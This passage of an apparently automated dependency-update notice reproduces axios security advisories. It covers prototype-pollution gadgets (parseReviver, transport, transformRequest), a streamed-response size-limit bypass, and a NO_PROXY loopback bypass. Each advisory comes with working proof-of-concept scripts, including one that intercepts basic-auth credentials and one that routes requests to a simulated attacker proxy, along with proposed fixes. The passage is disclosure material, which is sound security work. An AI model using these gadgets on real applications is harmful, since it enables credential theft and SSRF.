console.log('[app] received:', JSON.stringify(res.data));

delete Object.prototype.parseReviver;
```

```
$ node poc_parsereviver.mjs
[exfil] role = "user"
[exfil] balance = 100
[exfil] token = "tok_real_abc"
[app] received: {"role":"admin","balance":999999,"token":"tok_real_abc"}
```

The server sent `role: user`. The application received `role: admin`. The response is silently modified in place; no error is thrown, no log entry is produced.

---

##### Gadget 2: transport -- full HTTP request hijacking with credentials

**Introduced in:** early adapter refactor, present across 0.x and 1.x
**Affected range:** >= 0.19.0, <= 1.13.6 (Node.js http adapter only)

##### Root cause

Inside the Node.js http adapter at [`lib/adapters/http.js#L676`](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L676):

```js
if (config.transport) {
  transport = config.transport;
}
```

`transport` is listed in `mergeMap` inside `mergeConfig` ([line 88](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L88)):

```js
transport: defaultToConfig2,
```

but it is not present in [`lib/defaults/index.js`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js) at all. `mergeConfig` iterates `Object.keys({ ...config1, ...config2 })` ([line 99](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L99)). Since `config1` (the defaults) has no `transport` key and a typical per-request config has none either, the key never enters the loop. It is never set as an own property on the merged config. The read at line 676 falls through to `Object.prototype`.

The fix in v1.13.5 (PR #&#8203;7369) added a `hasOwnProp` check for `mergeMap` access, but the iteration set itself is the issue -- `transport` simply never enters it. The fix does not address this.

The transport interface is `{ request(options, handleResponseCallback) }`. The options object passed to `transport.request` at adapter runtime contains:

- `options.hostname`, `options.port`, `options.path` -- full target URL
- `options.auth` -- basic auth credentials in `"username:password"` form (set at [line 606](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L606))
- `options.headers` -- all request headers as a plain object

##### Proof of concept

Two terminals. The server is a legitimate API endpoint that processes the request normally. The client's process has been affected by prototype pollution.

**Terminal 1 -- server (`server_gadget2.mjs`):**

```js
import http from 'http';

const server = http.createServer((req, res) => {
  console.log('[server] request:', req.method, req.url, 'auth:', req.headers.authorization || '(none)');
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end('{"ok":true}');
});

server.listen(19002, '127.0.0.1', () => {
  console.log('[server] listening on 127.0.0.1:19002');
});
```

```
$ node server_gadget2.mjs
[server] listening on 127.0.0.1:19002
[server] request: GET /api/users auth: Basic c3ZjX2FjY291bnQ6aHVudGVyMg==
```

**Terminal 2 -- client (`poc_transport.mjs`):**

```js
import axios from 'axios';
import http from 'http';

Object.prototype.transport = {
  request(options, handleResponse) {
    // Intercept: called for every outbound request in this process.
    console.log('[hijack] target:', options.hostname + ':' + options.port + options.path);
    console.log('[hijack] auth:', options.auth);
    console.log('[hijack] headers:', JSON.stringify(options.headers));
    // Forward to the real transport so the caller sees a normal 200.
    return http.request(options, handleResponse);
  },
};

const res = await axios.get('http://127.0.0.1:19002/api/users', {
  auth: { username: 'svc_account', password: 'hunter2' },
});
console.log('[app] response status:', res.status);

delete Object.prototype.transport;
```

```
$ node poc_transport.mjs
[hijack] target: 127.0.0.1:19002/api/users
[hijack] auth: svc_account:hunter2
[hijack] headers: {"Accept":"application/json, text/plain, */*","User-Agent":"axios/1.13.6","Accept-Encoding":"gzip, compress, deflate, br"}
[app] response status: 200
```

The basic auth credentials are fully visible to the attacker's transport function. The request completes normally from the caller's perspective.

---

##### Additional gadget: transformRequest / transformResponse

Separately, `mergeConfig` reads `config2[prop]` at [line 102](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102) without a `hasOwnProperty` guard. For keys like `transformRequest` and `transformResponse` that are present in `defaults` (and therefore processed by the mergeMap loop), if `Object.prototype.transformRequest` is polluted before the request, `config2["transformRequest"]` inherits the polluted value and `defaultToConfig2` replaces the safe default transforms with the attacker's function.

This one requires a discriminator because `assertOptions` in `Axios._request` ([line 119](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L119)) reads `schema[opt]` for every key in the merged config's own keys, and `schema["transformRequest"]` also inherits from `Object.prototype`, causing it to call the polluted value as a validator. The gadget function needs to return `true` when its first argument is a function (the assertOptions call) and perform the attack when its first argument is data (the [`transformData`](https://github.com/axios/axios/blob/v1.13.6/lib/core/transformData.js#L22) call).

Both `transformRequest` (fires with request body) and `transformResponse` (fires with response body) are confirmed affected. Range: >= 0.19.0, <= 1.13.6.

---

##### Why the existing fix does not cover these

PR #&#8203;7369 / CVE-2026-25639 (fixed in v1.13.5) addressed a separate class: passing `{"__proto__": {"x": 1}}` as the config object, which caused `mergeMap['__proto__']` to resolve to `Object.prototype` (a non-function), crashing axios. The fix added an explicit block on `__proto__`, `constructor`, and `prototype` as config keys, and changed `mergeMap[prop]` to `utils.hasOwnProp(mergeMap, prop) ? mergeMap[prop] : ...`.

That fix only addresses config keys that are explicitly set to `__proto__` (or similar) by the caller. It does not add `hasOwnProperty` guards on the value reads (`config2[prop]` at [line 102](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102), `this.parseReviver`, `config.transport`). An application using a PP-vulnerable co-dependency and making axios requests is still fully exposed after upgrading to 1.13.5 or 1.13.6.

---

##### Suggested fixes

For `parseReviver` ([`lib/defaults/index.js#L124`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js#L124)):
```js
const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined;
return JSON.parse(data, reviver);
```

For `mergeConfig` value reads ([`lib/core/mergeConfig.js#L102`](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102)):
```js
const configValue = merge(
  config1[prop],
  utils.hasOwnProp(config2, prop) ? config2[prop] : undefined,
  prop
);
```

For `transport` and other adapter reads from config ([`lib/adapters/http.js#L676`](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L676)):
```js
if (utils.hasOwnProp(config, 'transport') && config.transport) {
  transport = config.transport;
}
```

The same `hasOwnProp` pattern applies to `lookup`, `httpVersion`, `http2Options`, `family`, and `formSerializer` reads in the adapter.

---

##### Environment

- axios: 1.13.6
- Node.js: 22.22.0
- OS: macOS 14
- Reproduction: confirmed in isolated test harness, both gadgets independently verified

##### Disclosure

Reported via GitHub Security Advisories at https://github.com/axios/axios/security/advisories/new per the axios security policy.

#### Severity
- CVSS Score: 7.4 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N`

#### References
- [https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf](https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-42033](https://nvd.nist.gov/vuln/detail/CVE-2026-42033)
- [https://github.com/axios/axios](https://github.com/axios/axios)

This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-pf86-5x62-jrwf) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Axios: HTTP adapter streamed responses bypass maxContentLength
[CVE-2026-42036](https://nvd.nist.gov/vuln/detail/CVE-2026-42036) / [GHSA-vf2m-468p-8v99](https://github.com/advisories/GHSA-vf2m-468p-8v99)

<details>
<summary>More information</summary>

#### Details
##### Summary

When responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption.

##### Details
In lib/adapters/http.js:
  - 786-789: for responseType === 'stream', Axios immediately settles with the stream.
  - 797-810: maxContentLength enforcement exists only in the non-stream buffering branch.

So callers may set maxContentLength and still receive/read arbitrarily large streamed responses.

##### PoC

Environment:
- Axios main at commit f7a4ee2
- Node v24.2.0

 Steps:

1. Start an HTTP server that returns a 2 MiB response body.
2. Call Axios with:
   - adapter: 'http'
   - responseType: 'stream'
   - maxContentLength: 1024
3. Read the returned stream fully.

Observed:
- Success; full 2097152 bytes readable.

Control check:
- Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded.

##### Impact
Type: DoS / unbounded response processing.
Impacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`

#### References
- [https://github.com/axios/axios/security/advisories/GHSA-vf2m-468p-8v99](https://github.com/axios/axios/security/advisories/GHSA-vf2m-468p-8v99)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-42036](https://nvd.nist.gov/vuln/detail/CVE-2026-42036)
- [https://github.com/axios/axios](https://github.com/axios/axios)

This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-vf2m-468p-8v99) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0
[CVE-2026-42043](https://nvd.nist.gov/vuln/detail/CVE-2026-42043) / [GHSA-pmwg-cvhr-8vh7](https://github.com/advisories/GHSA-pmwg-cvhr-8vh7)

<details>
<summary>More information</summary>

#### Details
**1. Executive Summary**
This report documents an **incomplete security patch** for the previously disclosed vulnerability **GHSA-3p68-rc4w-qgx5 (CVE-2025-62718)**, which affects the `NO_PROXY` hostname resolution logic in the Axios HTTP library.

**Background — The Original Vulnerability**
The original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against `NO_PROXY` rules. Specifically, a request to `http://localhost./` (with a trailing dot) or `http://[::1]/` (with IPv6 bracket notation) would **bypass NO_PROXY matching entirely** and be forwarded to the configured HTTP proxy — even when `NO_PROXY=localhost,127.0.0.1,::1` was explicitly set by the developer to protect loopback services.

The Axios maintainers addressed this in **version 1.15.0** by introducing a `normalizeNoProxyHost()` function in `lib/helpers/shouldBypassProxy.js`, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.

**The Incomplete Patch — This Finding**
While the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), **the fix is architecturally incomplete**.

The patch introduced a hardcoded set of recognized loopback addresses:

```
// lib/helpers/shouldBypassProxy.js — Line 1
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
```
However, **RFC 1122 §3.2.1.3** explicitly defines the **entire 127.0.0.0/8 subnet** as the IPv4 loopback address block not just the single address `127.0.0.1`. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range `127.0.0.2` through `127.255.255.254` is a valid, functional loopback address that routes to the local machine.

As a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the `127.0.0.0/8` range (e.g., `127.0.0.2`, `127.0.0.100`, `127.1.2.3`) to **completely bypass** the `NO_PROXY` protection even in the fully patched Axios 1.15.0 release.

**Verification**
This bypass has been **independently verified** on:

* **Axios version:** 1.15.0 (latest patched release)
* **Node.js version:** v22.16.0
* **OS:** Kali Linux (rolling)

The Proof-of-Concept demonstrates that while `localhost`, `localhost`., and `[::1]` are correctly blocked by the patched version, requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` are **transparently forwarded to the attacker-controlled proxy server**, confirming that the patch does not cover the full RFC-defined loopback address space.

**2. Deep-Dive: Technical Root Cause Analysis**
**2.1 Vulnerable File & Location**

| Field | Detail |
| ------------- | ------------- |
| File | lib/helpers/shouldBypassProxy.js|
| Primary Flaw| isLoopback() — Line 1–3 |
| Supporting Function | shouldBypassProxy() — Line 59–110 |
| Axios Version | 1.15.0 (Latest Patched Release) |

**2.2 How Axios Routes HTTP Requests  The Call Chain**
When Axios dispatches any HTTP request, `lib/adapters/http.js` calls `setProxy()`, which invokes `shouldBypassProxy()` to decide whether to honour a configured proxy:

```
// lib/adapters/http.js — Lines 191–199
function setProxy(options, configProxy, location) {
  let proxy = configProxy;
  if (!proxy && proxy !== false) {
    const proxyUrl = getProxyForUrl(location);   // Step 1: Read proxy env var
    if (proxyUrl) {
      if (!shouldBypassProxy(location)) {         // Step 2: Check NO_PROXY
        proxy = new URL(proxyUrl);               // Step 3: Assign proxy
      }
    }
  }
}
```
`shouldBypassProxy()` is the **single gatekeeper** for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.

**2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5)**
Before Axios 1.15.0, hostnames were compared against `NO_PROXY` using a **raw literal string match** with no normalization:

```
Request URL → http://localhost./secret
NO_PROXY    → "localhost,127.0.0.1,::1"
Comparison:
  "localhost." === "localhost"   →  FALSE  →  Proxy used  ← BYPASS
  "[::1]"     === "::1"         →  FALSE  →  Proxy used  ← BYPASS
```
Both `localhost.` (FQDN trailing dot, RFC 1034 §3.1) and `[::1]` (bracketed IPv6 literal, RFC 3986 §3.2.2) are **canonical representations of loopback addresses**, but Axios treated them as unknown hosts.

**2.4 What the Patch Fixed (Axios 1.15.0)**
The patch introduced three changes inside `lib/helpers/shouldBypassProxy.js`:

<img width="602" height="123" alt="01_axios_version_verification" src="https://github.com/user-attachments/assets/844446f2-01fb-4933-9316-fb849c40c8f5" />

**Fix A `normalizeNoProxyHost()` (Lines 47–57)**
Strips alternate representations before comparison:

```
const normalizeNoProxyHost = (hostname) => {
  if (!hostname) return hostname;
  // Remove IPv6 brackets: "[::1]" → "::1"
  if (hostname.charAt(0) === '[' && hostname.charAt(hostname.length - 1) === ']') {
    hostname = hostname.slice(1, -1);
  }
  // Strip trailing FQDN dot: "localhost." → "localhost"
  return hostname.replace(/\.+$/, '');
};
```
**Fix B Cross-Loopback Equivalence (Lines 1–3 & 108)**
Allows `127.0.0.1` and `localhost` to match each other interchangeably:

```
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// Line 108 — Final match condition:
return hostname === entryHost
    || (isLoopback(hostname) && isLoopback(entryHost));
//      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
//      If both sides are "loopback" → treat as match
```

**Fix C Normalization Applied on Both Sides (Lines 81 & 90)**

```
// Request hostname normalized:
const hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase());
// Each NO_PROXY entry normalized:
entryHost = normalizeNoProxyHost(entryHost);
```

**2.5 The Incomplete Patch Exact Root Cause**
The fundamental flaw resides in Line 1:

```
// lib/helpers/shouldBypassProxy.js — Line 1  ← ROOT CAUSE
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
//                                              ^^^^^^^^^^^
//                              Only ONE IPv4 loopback address is recognized.
//                              The entire 127.0.0.0/8 subnet is unaccounted for.
// Line 3 — Lookup against this incomplete set:
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
//                                               ^^^^^^^^^
//                          Returns FALSE for any 127.x.x.x ≠ 127.0.0.1
```
<img width="884" height="135" alt="02_vulnerable_code_loopback_addresses" src="https://github.com/user-attachments/assets/ba06b91e-a2d2-4a99-9e1f-8c8bfbb6d71e" />

***RFC 1122 §3.2.1.3 is unambiguous:**

> "The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network."

This means all addresses from `127.0.0.1` through `127.255.255.254` are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire `/8` block is routed to the `lo` interface by default. The patch recognises only `127.0.0.1`, leaving `16,777,213` valid loopback addresses unprotected.

<img width="884" height="537" alt="03_rfc1122_loopback_definition" src="https://github.com/user-attachments/assets/951eabb4-2ec6-40ef-ad00-1fd5b9aed2d0" />

**2.6 Step-by-Step Bypass Execution Trace**
Environment:

```
NO_PROXY   = "localhost,127.0.0.1,::1"
HTTP_PROXY = "http://attacker-proxy:5300"
Target URL = "http://127.0.0.2:9191/internal-api"
```
**Annotated execution of shouldBypassProxy("http://127.0.0.2:9191/internal-api"):**

```
// Step 1 — Parse the request URL
parsed   = new URL("http://127.0.0.2:9191/internal-api")
hostname = "127.0.0.2"    // parsed.hostname
// Step 2 — Read NO_PROXY environment variable
noProxy  = "localhost,127.0.0.1,::1"   // lowercased
// Step 3 — Normalize the request hostname
hostname = normalizeNoProxyHost("127.0.0.2")
//          No brackets → skip
//          No trailing dot → skip
//          Result: "127.0.0.2"  (unchanged)
// Step 4 — Iterate over NO_PROXY entries
//  Entry → "localhost"
entryHost = "localhost"
"127.0.0.2" === "localhost"                  → false
isLoopback("127.0.0.2")                      → false  ← Set.has() returns false
                                                          BYPASS starts here
//  Entry → "127.0.0.1"
entryHost = "127.0.0.1"
"127.0.0.2" === "127.0.0.1"                 → false
isLoopback("127.0.0.2") && isLoopback("127.0.0.1")
  → LOOPBACK_ADDRESSES.has("127.0.0.2")     → false  ← Same failure
  → false
//  Entry → "::1"
entryHost = "::1"
"127.0.0.2" === "::1"                        → false
isLoopback("127.0.0.2") && isLoopback("::1")
  → LOOPBACK_ADDRESSES.has("127.0.0.2")     → false  ← Same failure
  → false
// Step 5 — Final return
shouldBypassProxy() → false
//  Axios proceeds to route the request through the configured proxy.
//  The attacker's proxy server receives the full request including headers
//  and any response from the internal service.
```

**2.7 Why the Patch Design Is Flawed**
The patch addresses the **symptom** (two specific alternate representations) rather than the **root cause** (an incomplete definition of what constitutes a loopback address).

| Aspect | Original Bug | This Finding |
| ------------- | ------------- | ------------- |
| What was wrong | No normalization before comparison | Incomplete loopback address set|
| Fix applied | Added normalizeNoProxyHost() | None set remains hardcoded |
| RFC compliance | Violated RFC 1034 & RFC 3986 | Violates RFC 1122 §3.2.1.3 |
| Bypass method | Alternate string representation | Alternate valid loopback address |
| Impact | NO_PROXY bypass → SSRF | NO_PROXY bypass → SSRF (identical) |

```
**2.8 Total Exposed Address Space**
Protected by patch:    127.0.0.1          (1 address)
Unprotected loopback:  127.0.0.2
                       through
                       127.255.255.254    (16,777,213 addresses)
```
Real-world services that commonly bind to non-standard loopback addresses include:

* Internal microservices and admin dashboards using dedicated loopback IPs
* Development environments with multiple isolated service instances
* Docker and container bridge network configurations
* Test infrastructure allocating sequential loopback IPs across services

**3. Comprehensive Attack Vector & Proof of Concept**

**3.1 Reproduction Steps**

Step 1 — Create a fresh project directory
```
mkdir axios-bypass-test && cd axios-bypass-test
```
**Step 2 — Initialize the project with the patched Axios version**
Create `package.json`:

```
{
  "type": "module",
  "dependencies": {
    "axios": "1.15.0"
  }
}
```
Install dependencies:

```
npm install
```
Verify the installed version:

```
npm list axios

##### Expected output: axios@1.15.0
```

**Step 3 — Create the PoC file (`poc.js`)**

```
import http from 'http';
import axios from 'axios';
// ── Simulated attacker-controlled proxy server ────────────────────────────────
const PROXY_PORT = 5300;
http.createServer((req, res) => {
  console.log('\n[!] PROXY HIT — Attacker proxy received request!');
  console.log(`    Method : ${req.method}`);
  console.log(`    URL    : ${req.url}`);
  console.log(`    Host   : ${req.headers.host}`);
  res.writeHead(200);
  res.end('proxied');
}).listen(PROXY_PORT);
// ── Simulated developer security configuration ────────────────────────────────
// Developer believes all loopback traffic is protected by NO_PROXY.
process.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;
process.env.NO_PROXY   = 'localhost,127.0.0.1,::1';
// ── Test helper ───────────────────────────────────────────────────────────────
async function test(url) {
  console.log(`\n[*] Testing: ${url}`);
  try {
    const res = await axios.get(url, { timeout: 2000 });
    if (res.data === 'proxied') {
      console.log('    Result → [PROXIED]  ← BYPASS CONFIRMED');
    } else {
      console.log('    Result → [DIRECT]   ← Safe, no proxy used');
    }
  } catch (err) {
    if (err.code === 'ECONNREFUSED') {
      console.log('    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)');
    }
  }
}
// ── Test execution ────────────────────────────────────────────────────────────
setTimeout(async () => {
  // Section A: Cases fixed by the existing patch — expected to go DIRECT
  console.log('\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===');
  await test('http://localhost:9191/secret');
  await test('http://localhost.:9191/secret');
  await test('http://[::1]:9191/secret');
  // Section B: Bypass cases — expected to go DIRECT, but actually go through proxy
  console.log('\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===');
  await test('http://127.0.0.2:9191/secret');
  await test('http://127.0.0.100:9191/secret');
  await test('http://127.1.2.3:9191/secret');
  process.exit(0);
}, 500);
```

**Step 4 — Execute the PoC**

```
node poc.js
```

**3.2 Observed Output**
The following output was captured during testing on Kali Linux with Axios 1.15.0:

```
=== PATCHED CASES (Expected: All requests bypass the proxy) ===
[*] Testing: http://localhost:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)
[*] Testing: http://localhost.:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)
[*] Testing: http://[::1]:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)
=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===
[*] Testing: http://127.0.0.2:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.0.0.2:9191/secret
    Host   : 127.0.0.2:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED
[*] Testing: http://127.0.0.100:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.0.0.100:9191/secret
    Host   : 127.0.0.100:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED
[*] Testing: http://127.1.2.3:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.1.2.3:9191/secret
    Host   : 127.1.2.3:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED
```
<img width="1621" height="739" alt="05_poc_execution_bypass_confirmed" src="https://github.com/user-attachments/assets/6caf9f7a-36ed-4feb-b9f3-f82532da2de7" />

**3.3 Analysis of Results**
The output conclusively demonstrates the following:

**Patched cases behave correctly:** Requests to `localhost`, `localhost.` (trailing dot), and `[::1]` (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.

**Bypass cases confirm the incomplete patch:** Requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` all of which are valid loopback addresses within the `127.0.0.0/8` subnet as defined by `RFC 1122 §3.2.1.3` are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and `Host` header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.

This confirms that the `NO_PROXY` protection configured by the developer (`localhost,127.0.0.1,::1`) fails silently for the entire `127.0.0.0/8` address range beyond `127.0.0.1`, providing a reproducible and reliable bypass of the security control introduced by the patch.

**4. Impact Assessment**
This vulnerability is a **security control bypass** specifically an incomplete patch that allows an attacker to circumvent the `NO_PROXY` protection mechanism in Axios by using any loopback addresses within the `127.0.0.0/8` subnet other than `127.0.0.1`. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.

**4.1 Who Is Impacted?**

Primary Target — Node.js Backend Applications
Any Node.js application that meets **all three of the following conditions** is vulnerable:

```
Condition 1:  Uses Axios 1.15.0 (latest patched) for HTTP requests
Condition 2:  Has HTTP_PROXY or HTTPS_PROXY set in its environment
              (common in corporate networks, cloud deployments,
               containerised environments, and CI/CD pipelines)
Condition 3:  Relies on NO_PROXY=localhost,127.0.0.1,::1 (or similar)
              to protect loopback or internal services from proxy routing
```
**Affected Deployment Environments**
| Environment | Risk Level |
| ------------- | ------------- |
| Cloud-hosted applications (AWS, GCP, Azure) | Critical|
| Containerised microservices (Docker, Kubernetes) | Critical|
| Corporate networks with mandatory proxy | High|
| CI/CD pipelines with proxy environment variables | High|
| On-premise servers with internal proxy | High|

**Scale of Exposure**
Axios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over **500 million weekly downloads** on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.

**4.3 Impact Details**

**Impact 1 Silent Interception of Internal Service Traffic**

When an application makes a request to an internal loopback service using a non-standard loopback address (e.g., `http://127.0.0.2/admin`), Axios silently routes the request through the configured proxy instead of connecting directly.

```
Developer expects:    Application → 127.0.0.2:8080 (direct)
Actual behaviour:     Application → Attacker Proxy → 127.0.0.2:8080
The proxy receives:
  - Full request URL
  - HTTP method
  - All request headers (including Authorization, Cookie, API keys)
  - Request body (for POST/PUT requests)
  - Full response from the internal service
```
The developer receives no error or warning. From the application's perspective, the request succeeds normally.

**Impact 2 — SSRF Mitigation Bypass**
Many applications implement SSRF protections by configuring `NO_PROXY` to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond `127.0.0.1`.

```
SSRF Protection (as configured by developer):
  NO_PROXY = localhost,127.0.0.1,::1
What developer believes is protected:
  All loopback/internal addresses
What is actually protected:
  Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses)
What remains exposed:
  127.0.0.2 through 127.255.255.254 (16,777,213 addresses)
```
An attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.

**Impact 3 — Cloud Metadata Service Exposure**
In cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.

While the AWS IMDSv2 service is reachable at `169.254.169.254` (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the `127.0.0.0/8` range. An attacker reaching any of these services through the bypass could:

* Retrieve temporary IAM credentials
* Access environment variables containing secrets
* Enumerate internal service configurations
* Pivot to other internal services via the compromised credentials

**Impact 4 — Confidential Data Exfiltration**
Any internal service binding to a `127.x.x.x` address other than `127.0.0.1` is fully exposed. This includes:

| Internal Service Type | Exposed Data |
| ------------- | ------------- |
| Admin panels / dashboards | User data, configuration, logs |
| Internal APIs | Business logic, database contents |
| Secret managers / vaults | API keys, tokens, certificates |
| Health check endpoints | Infrastructure topology |
| Development services | Source code, environment variables |

**Impact 5 — No Indication of Compromise**
A particularly dangerous characteristic of this vulnerability is that it is **completely silent** neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application's perspective, making detection extremely difficult without active network monitoring.

**4.4 Comparison with Original Vulnerability**

| Internal Service Type | Exposed Data | Exposed Data |
| ------------- | ------------- | ------------- |
| Attack method | Use localhost. or [::1]| Use any 127.x.x.x ≠ 127.0.0.1 |
| Patch status | Fixed in 1.15.0 | Not fixed in 1.15.0 |
| CVSS score | 9.3 Critical | 9.9 Critical or (equivalent) |
| Attacker effort| Trivial | Trivial |
| Detection by developer | None | None |
| Impact | SSRF / proxy bypass | SSRF / proxy bypass (identical) |

The severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.

**5. Technical Remediation & Proposed Fix**

**5.1 Vulnerable Code Block**

The vulnerability resides in `lib/helpers/shouldBypassProxy.js` at lines 1–3. The following is the exact code extracted from Axios 1.15.0:

```
// lib/helpers/shouldBypassProxy.js — Axios 1.15.0
// Lines 1–3 (VULNERABLE)
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
```
This hardcoded `Set` is subsequently used at line 108 during the final NO_PROXY match evaluation:

```
// lib/helpers/shouldBypassProxy.js — Line 108 (VULNERABLE USAGE)
return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));
//                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// isLoopback("127.0.0.2") → LOOPBACK_ADDRESSES.has("127.0.0.2") → FALSE
// This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1
```
**Why this is dangerous:** The `Set` performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns `false`, causing `shouldBypassProxy()` to return `false` and silently route the request through the configured proxy.

**5.2 Proposed Patched Code**
Replace lines 1–3 in `lib/helpers/shouldBypassProxy.js` with the following RFC-compliant implementation:

```
// lib/helpers/shouldBypassProxy.js
// Lines 1–3 (PROPOSED FIX — RFC 1122 §3.2.1.3 Compliant)
const isLoopback = (host) => {
  // Named loopback hostname
  if (host === 'localhost') return true;
  // IPv6 loopback address
  if (host === '::1') return true;
  // Full IPv4 loopback subnet: 127.0.0.0/8 (RFC 1122 §3.2.1.3)
  // Matches any address from 127.0.0.0 through 127.255.255.254
  const parts = host.split('.');
  return (
    parts.length === 4 &&
    parts[0] === '127' &&
    parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255)
  );
};
```
**5.3 Diff View — Before vs After**

```
// lib/helpers/shouldBypassProxy.js
- const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
-
- const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
+ const isLoopback = (host) => {
+   if (host === 'localhost') return true;
+   if (host === '::1') return true;
+   const parts = host.split('.');
+   return (
+     parts.length === 4 &&
+     parts[0] === '127' &&
+     parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255)
+   );
+ };
```
All other code in `shouldBypassProxy.js` remains unchanged. No other files require modification.

**5.4 Why This Fix Must Be Applied**

**Reason 1 — RFC 1122 Compliance**

The current implementation violates **RFC 1122 §3.2.1.3**, which defines the entire `127.0.0.0/8` block as the IPv4 loopback address range not just the single address `127.0.0.1`. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently.

```
RFC 1122 §3.2.1.3:
"The address 127.0.0.0/8 is assigned for loopback.
